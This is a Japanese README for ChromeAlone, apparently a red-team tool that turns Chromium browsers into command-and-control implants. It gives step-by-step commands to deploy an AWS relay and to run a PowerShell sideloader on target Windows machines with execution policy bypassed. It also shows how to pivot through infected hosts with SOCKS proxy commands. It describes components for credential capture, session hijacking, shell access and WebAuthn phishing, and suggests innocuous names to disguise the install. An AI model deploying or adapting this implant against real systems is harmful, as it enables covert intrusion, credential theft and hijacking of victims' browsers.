
ChromiumブラウザをC2インプラントに変換するツール

ChromeAloneは、Cobalt StrikeやMeterpreterなどの従来のインプラントの代わりに使用できるブラウザインプラントです。このリポジトリは、管理コンソールを生成し、インフラをデプロイし、ターゲット上で実行するPowerShellサイドローダースクリプトを作成する簡単なビルドプロセスを提供します。
インストール後、各ChromeAloneインプラントは以下のメカニズムを提供します:
まずdockerコンテナをビルドします: docker build -t chromealone .
現在、2つのデプロイモードがサポートされています。どちらの場合も、ChromeAloneのgitリポジトリのベースディレクトリからdockerを実行する必要があることに注意してください。
これには、資格情報を~/.aws/credentialsに保存したAWSアカウントが必要です。アカウントには、Route53のアクセス許可に加えて、EC2の完全な書き込みアクセス許可があることを確認してください。さらに、Route53が少なくとも1つのホスティングゾーン(登録済みドメインを含む)で構成されていることを前提としています。これらの条件が満たされている場合、次のコマンドを実行できます。
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
domainの値は、Route53設定で制御しているドメインと一致する必要があります。appnameは任意の値に設定でき、デプロイ時にディスク上の複数のレジストリキーやフォルダの命名に使用されます。UpdateServiceのような比較的無害な名前を使用することをお勧めします。regionはオプションで、指定しない場合はデフォルトでus-east-2になります。
これにより、BATTLEPLANリレーサーバーがAWSにデプロイされ、以下のアーティファクトが生成されます:
output/client - ChromeAloneインストールを管理するコントロールwebアプリ。output/sideloader.ps1 - ターゲット上で実行してローカルブラウザインスタンスに感染させるインストールスクリプト。注: 孤立したWebアプリのみをロードするためのiwa-sideloader.ps1ファイルと、ブラウザ拡張機能のみをロードするためのextension-sideloader.ps1ファイルもあります。output/extension - 生成された悪意のあるブラウザ拡張機能。output/iwa - 生成された悪意のある孤立したWebアプリの署名済みWebアプリバンドルファイル。output/relay-deployment - AWSデプロイからのTerraformアーティファクト(ホストに直接アクセスするためのSSHキーを含む)。すでにインスタンスをデプロイしている場合、output/relay-deployment/terraform.tfvarsには新しいサイドローダースクリプトと悪意のある拡張機能を生成するために必要なすべての情報が含まれています。ChromeAloneのdockerファイルをtfvarsファイルに指定すると、デプロイ手順をスキップし、接続を処理するための適切なメタデータを維持します。
ビルドスクリプトdocker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateServiceを実行すると、デプロイ用の新しい悪意のあるサイドローダーが生成されます。
sideloader.ps1をターゲットのWindows 10またはWindows 11マシンでpowershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1を実行して実行します。NativeMessagingホストをインストールしたい場合(シェルアウトに必要)や、Chromeを強制的に再起動したい場合(スクリプトの実行後すぐに拡張機能を実行させたい場合、ユーザーが次にChromeを開くのを待たない)は、追加のフラグを指定して実行できます。両方のフラグを使用した呼び出し例は、powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $trueです。これらのフラグを自動的に使用する場合は、スクリプトの上部にあるデフォルト値をfalseからtrueに変更することもできます。
スクリプトの完全な実行には約20〜30秒かかります。
ChromeAloneが読み込まれたら、output/client/index.htmlを開くことで接続されたホストを表示できます。このwebアプリは、デプロイされたBATTLEPLANリレーインスタンスに接続するように事前設定されています。デフォルトでは、リレーはファイアウォールで保護されており、サーバーをデプロイしたIPからのポート1080〜1181への受信コントロールアクセスのみを許可します。これを変更したい場合は、EC2インスタンスのネットワーク設定を更新して、追加のマシンを含める必要があります。
ほとんどのコマンドはWebUIから実行できます。例えば:
クイックコマンドセクションから。コマンド実行セクションでターゲットエージェントを選択する必要があります)キャプチャデータタブに表示されます)コマンド実行セクションから)ファイルブラウザタブから)インタラクティブシェルタブから)これに対する主な例外はSOCKSプロキシです。感染した各ホストには、Agent Informationセクションで確認できるサーバー用の一意のSOCKSポートが割り当てられます。各エージェントにはPortフィールドがあります。割り当てられたポートは、output/client/config.jsに保存されているadmin資格情報と組み合わせて、ホスト固有のSOCKSプロキシを構成するために使用できます。
例えば、ポートが1081、ドメインがchrome.alone、ユーザー名がadmin(常にそう)、パスワードがthisisnotarealpasswordのエージェントがあるとします。以下は使用例です:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
ChromeAloneリポジトリはコンポーネントに分割されており、その多くは評価の一部として個別に使用できますが、まとめてChromiumブラウザインプラントのツールチェーン全体を構成しています。
BATTLEPLAN - ツールチェーンの管理サーバーコンポーネント。AWS環境にデプロイするためのTerraformスクリプトと、デプロイ後にサーバーと対話するためのHTMLクライアントが含まれています。BLOWTORCH - 悪意のある孤立したWebアプリケーションで、Direct Socket権限を使用してSOCKS TCPプロキシとWebSocketサーバーを実装し、他のChromeコンポーネント間の通信を可能にします。また、BATTLEPLANリレーサーバーへのメッセージングブリッジとしても機能します。DOORKNOB - 孤立したWebアプリとChrome拡張機能用のPowerShellサイドローダーを生成するための一連のスクリプト。build.shのスクリプトは、これらの個別のサイドローダーを1つに結合する単一のPowerShellインストーラースクリプトを作成する方法の例を示しています。HOTWHEELS - すべての機能をWeb Assemblyで実装した悪意のあるChrome拡張機能。認証情報キャプチャ、セッションハイジャック、シェルアウト、ファイルシステム読み取りなど、ChromeAloneの機能セットの大部分を提供します。PAINTBUCKET - 通常のWebAuthnリクエストが行われるたびに、非アクティブなタブ内のiFrameに追加のWebAuthnリクエストを隠して、WebAuthnリクエストのフィッシングを可能にする一連のコンテンツスクリプト。このツールは、Praetorian SecurityのMike Weberによって作成されました。
この作品は、この分野に貢献してきた多くの研究者のツールやブログ記事の上に成り立っています。彼らの仕事がなければ、このプロジェクトは存在しませんでした。このプロジェクトが利用する内部構造についてさらに深く知りたい場合は、以下のリソースを読むことをお勧めします:
ChromeAloneはApache License, Version 2.0の下でライセンスされています。
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.